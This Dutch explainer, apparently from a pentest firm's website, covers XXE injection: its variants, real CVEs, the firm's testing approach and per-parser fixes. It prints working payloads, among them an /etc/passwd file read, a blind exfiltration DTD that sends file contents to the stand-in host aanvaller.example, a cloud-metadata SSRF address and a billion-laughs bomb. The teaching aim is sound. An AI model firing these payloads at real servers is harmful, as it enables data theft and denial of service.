22 juli 2026 · 7 min leestijd · begrippen
XXE (XML External Entity injection) is een kwetsbaarheid in software die XML verwerkt, meestal een webapplicatie of API. De parser leest een verwijzing naar een externe bron die de aanvaller zelf in de XML heeft gezet, en haalt die op. Zo laat een aanvaller de server bestanden uitlezen of verzoeken doen naar systemen waar hij normaal niet bij kan.
Dat werkt via een entiteit, een soort variabele in een XML-document. De meeste entiteiten zijn onschuldig en staan voor een stukje tekst. Een externe entiteit haalt zijn waarde ergens anders vandaan, uit een lokaal bestand of van een URL. Zodra de parser zo’n entiteit tegenkomt, haalt hij die bron op en zet de inhoud middenin het document.
Misbruik lukt pas als twee dingen samenvallen. De XML komt (deels) van de gebruiker, en de parser haalt externe entiteiten op. Of het misgaat, hangt dus volledig van de parser af. Moderne parsers doen dit standaard niet meer, dus je komt XXE vooral tegen bij oudere of zelfgebouwde XML- en SOAP-verwerking. In de OWASP Top 10 was het in 2017 nog een eigen categorie (A4). Sinds 2021 valt het onder A05 Security Misconfiguration, precies omdat de oorzaak een parser is die te veel toestaat. In de MITRE-lijst is het CWE-611.
Een aanval begint met een entiteit die de aanvaller zelf declareert in een DOCTYPE, met een verwijzing naar het bestand dat hij wil lezen. Daarna roept hij die entiteit aan in de inhoud:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
De parser komt &xxe; tegen, haalt /etc/passwd op en zet de inhoud op die plek. Geeft de applicatie het verwerkte document terug, dan leest de aanvaller het bestand mee. Dat heet in-band XXE, omdat het antwoord in dezelfde respons zit. De server leest hier alleen data. Code voert hij niet uit.
Niet elk bestand komt er zomaar uit. Staan er tekens in met een speciale XML-betekenis, zoals < of &, dan breekt de parser af op de inhoud. Op PHP omzeil je dat met de ingebouwde filter php://filter/convert.base64-encode/resource=/etc/passwd, die het bestand eerst base64-codeert. Die base64 komt wél door de parser, waarna je hem zelf decodeert. Buiten PHP vang je de inhoud via een externe DTD in een CDATA-blok.
Vaak stuurt de applicatie het verwerkte document niet terug, dus ziet de aanvaller het bestand niet. Veiliger is de applicatie daarmee niet. Bij een blinde XXE laat de aanvaller de server de inhoud naar zijn eigen adres sturen. Een lege respons zegt dus niets over de veiligheid.
Dat gaat met een parameter-entiteit, een variant die je met een % schrijft en die alleen binnen de DTD werkt. Het ingestuurde bestand verwijst naar een tweede stukje XML op de server van de aanvaller:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://aanvaller.example/evil.dtd">
%xxe;
]>
<foo>test</foo>
Die evil.dtd leest een bestand en plakt de inhoud in een URL terug naar de aanvaller:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://aanvaller.example/?d=%file;'>">
%eval;
%exfil;
De server leest /etc/passwd en stuurt de inhoud mee naar de aanvaller, die het bestand in zijn logs ziet verschijnen. De % is een geëncodeerd %-teken, zodat het pas meetelt zodra %eval; wordt uitgevouwen en niet al bij het inlezen van de DTD. Dit moet via een apart DTD-bestand, want binnen het ingestuurde document verbiedt de XML-standaard zulke geneste parameter-entiteiten.
Lukt geen uitgaande verbinding, dan is er nog een weg. Bij een error-based XXE laat de aanvaller de parser een bestand openen dat niet bestaat, met een pad dat is opgebouwd uit de inhoud van het doelbestand. De foutmelding bevat dan dat pad, en dus de inhoud. Zo lekt de data via de foutafhandeling in plaats van via een eigen server.
Hoe ver een aanvaller komt, hangt af van welke bestanden het serverproces mag openen en welke soorten URL de parser accepteert.
file:// is toegestaan, kan een aanvaller elk bestand opvragen dat het serverproces zelf mag lezen, zoals configuratiebestanden met wachtwoorden of private sleutels.http://-URL doet de server het verzoek vanuit zijn eigen netwerk, bijvoorbeeld naar een cloud-metadata-adres als http://169.254.169.254/latest/meta-data/ dat inloggegevens kan prijsgeven.expect://-wrapper, kan een XXE uitgroeien tot een volledige overname van de server, maar die wrapper zit niet in een standaardinstallatie.Een laatste variant heeft geen externe bron nodig en leunt puur op de entiteiten zelf. Bij de klassieke billion laughs definieert een aanvaller een reeks entiteiten die elkaar steeds tien keer aanroepen:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
&lol4; staat hier al voor duizend keer lol, en elke extra laag vertienvoudigt dat. Bij een niveau of negen moet de parser honderden miljoenen keer lol uitschrijven en loopt het geheugen vol. Officieel valt dit niet onder XXE, want een externe entiteit komt er niet aan te pas. Het leunt op dezelfde parser-instelling. Zodra DTD’s en entiteiten aanstaan kan het, en dezelfde fix helpt. Geen DOCTYPE toestaan haalt ook deze aanval weg.
XXE is geen papieren risico. In Apache Solr liep een XXE via CVE-2017-12629 door tot code-uitvoering, en in 2024 zat er een in de SAML-component van Ivanti Connect Secure (CVE-2024-22024), goed voor toegang zonder inloggegevens.
Het aanvalsoppervlak is groter dan het lijkt. XXE zit lang niet altijd in een voor de hand liggend XML-veld. Ook bestandsuploads en endpoints die eigenlijk iets anders verwachten, kunnen XML gaan verwerken.
Bij een webapplicatie pentest zoeken we elke plek op waar de applicatie XML inleest. Voor de hand liggen SOAP-services, SAML-berichten en import-functies. Minder zichtbaar zijn bestandsuploads, want een DOCX, XLSX of SVG bestaat intern uit XML. Soms gaat een endpoint dat JSON verwacht alsnog XML verwerken zodra je de Content-Type naar application/xml omzet.
Op elke plek beginnen we klein. Eerst kijken we of de parser entiteiten überhaupt uitvouwt, met een onschuldige interne entiteit die één woord vervangt. Komt dat woord terug in de respons, dan worden entiteiten verwerkt en is de kans op XXE groot. Daarna proberen we een externe entiteit naar een testbestand of naar onze eigen server. Zien we de bestandsinhoud in het antwoord, dan lezen we die mee. Blijft het antwoord leeg, dan testen we blind en laten we de server een verzoek naar ons toe doen. Burp Suite met de Collaborator vangt die callback op. Vinden we een gat, dan laten we concreet zien welk bestand of intern systeem eruit te halen valt, niet alleen dat het kan.
De beste oplossing is meteen de simpelste. Laat de parser geen DOCTYPE meer accepteren. Geen DOCTYPE betekent geen entiteiten, en dan is elke variant in één klap weg. Kun je de DOCTYPE echt niet missen, zet dan het oplossen van externe entiteiten uit, zowel de gewone als de parameter-variant. Alleen de eerste uitzetten laat de blinde aanval namelijk openstaan.
Per parser zit de knop ergens anders:
| Parser | Wat je uitzet |
|---|---|
| Java (DocumentBuilderFactory, SAX) | disallow-doctype-decl op true; aanvullend externe general- en parameter-entiteiten op false |
| .NET (XmlReader) | DtdProcessing = DtdProcessing.Prohibit en XmlResolver = null |
| PHP (libxml) | sinds libxml 2.9.0 al veilig; geef nooit LIBXML_NOENT mee aan loadXML() |
| Python | gebruik defusedxml in plaats van de standaard xml-modules |
Moderne runtimes zijn vaak al goed ingesteld. .NET is standaard veilig vanaf Framework 4.6 en in .NET Core en 5+, en libxml (onder PHP) laadt sinds 2.9.0 uit 2012 geen externe entiteiten meer. De echte valkuil in PHP is de vlag LIBXML_NOENT. Geef je die per ongeluk mee aan loadXML(), dan zet je het oplossen van entiteiten juist weer aan. Java laat externe entiteiten ook in de huidige JDK’s standaard toe, dus daar moet je ze zelf uitzetten.
Let op één uitzondering. Een XInclude-aanval werkt zonder DOCTYPE, dus het blokkeren van de DTD helpt daar niet tegen. Zet XIncludeAware daarom ook op false als je die functie niet gebruikt. Werk je met simpele data, dan is een formaat zonder entiteiten zoals JSON sowieso veiliger. Houd verder je XML-libraries up-to-date, want juist de oude versies haalden externe entiteiten nog op. De volledige instellingen per taal staan in de OWASP XXE Prevention Cheat Sheet.
Uiteindelijk komt het neer op één principe. Een XML-parser hoort nooit uit zichzelf een bestand of URL op te halen die hij niet nodig heeft.
http://-URL, dan doet de server dat verzoek en gebruik je XXE om SSRF te bereiken. Andersom hoeft een SSRF niet uit XXE te komen.
expect://-wrapper, kan een aanvaller via XXE code uitvoeren, al zit die wrapper niet in een standaardinstallatie. De directe schade zit doorgaans in datalekken en SSRF.
SSRF (Server-Side Request Forgery) laat een aanvaller uw server HTTP-verzoeken laten doen naar zelf-gekozen adressen. Wij testen waar dat mogelijk is.
ffuf is een razendsnelle webfuzzer in Go waarmee je verborgen mappen, bestanden, parameters, subdomeinen en virtual hosts van een webapplicatie vindt.
Lateral movement is hoe een aanvaller na de eerste inbraak van systeem naar systeem beweegt, op weg naar domain admin. Wij tonen het risico in jouw netwerk.